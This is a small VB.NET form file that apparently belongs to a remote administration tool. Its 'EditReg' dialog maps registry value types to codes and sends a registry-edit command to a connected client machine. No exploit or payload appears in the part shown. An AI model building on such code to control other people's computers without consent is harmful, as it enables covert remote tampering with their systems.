36 lines
1.4 KiB
VB.net
36 lines
1.4 KiB
VB.net
Imports Microsoft.Win32
|
|
Imports System.Threading
|
|
Public Class EditReg
|
|
|
|
Public C As Client
|
|
Public Path As String
|
|
Public Function Typ(ByVal t As String) As Integer
|
|
Dim num As Integer
|
|
Dim str As String = t.ToLower
|
|
If (str = RegistryValueKind.Binary.ToString.ToLower) Then
|
|
Return 3
|
|
End If
|
|
If (str = RegistryValueKind.DWord.ToString.ToLower) Then
|
|
Return 4
|
|
End If
|
|
If (str = RegistryValueKind.ExpandString.ToString.ToLower) Then
|
|
Return 2
|
|
End If
|
|
If (str = RegistryValueKind.MultiString.ToString.ToLower) Then
|
|
Return 7
|
|
End If
|
|
If (str = RegistryValueKind.QWord.ToString.ToLower) Then
|
|
Return 11
|
|
End If
|
|
If (str = RegistryValueKind.String.ToString.ToLower) Then
|
|
Return 1
|
|
End If
|
|
Return num
|
|
End Function
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
Dim B As Byte() = SB("RG" & SettingsHelper.SPL & "!" & SettingsHelper.SPL & Path & SettingsHelper.SPL & Guna2TextBox1.Text & SettingsHelper.SPL & Guna2TextBox3.Text & SettingsHelper.SPL & Typ(Guna2ComboBox1.Text))
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
Close()
|
|
End Sub
|
|
End Class |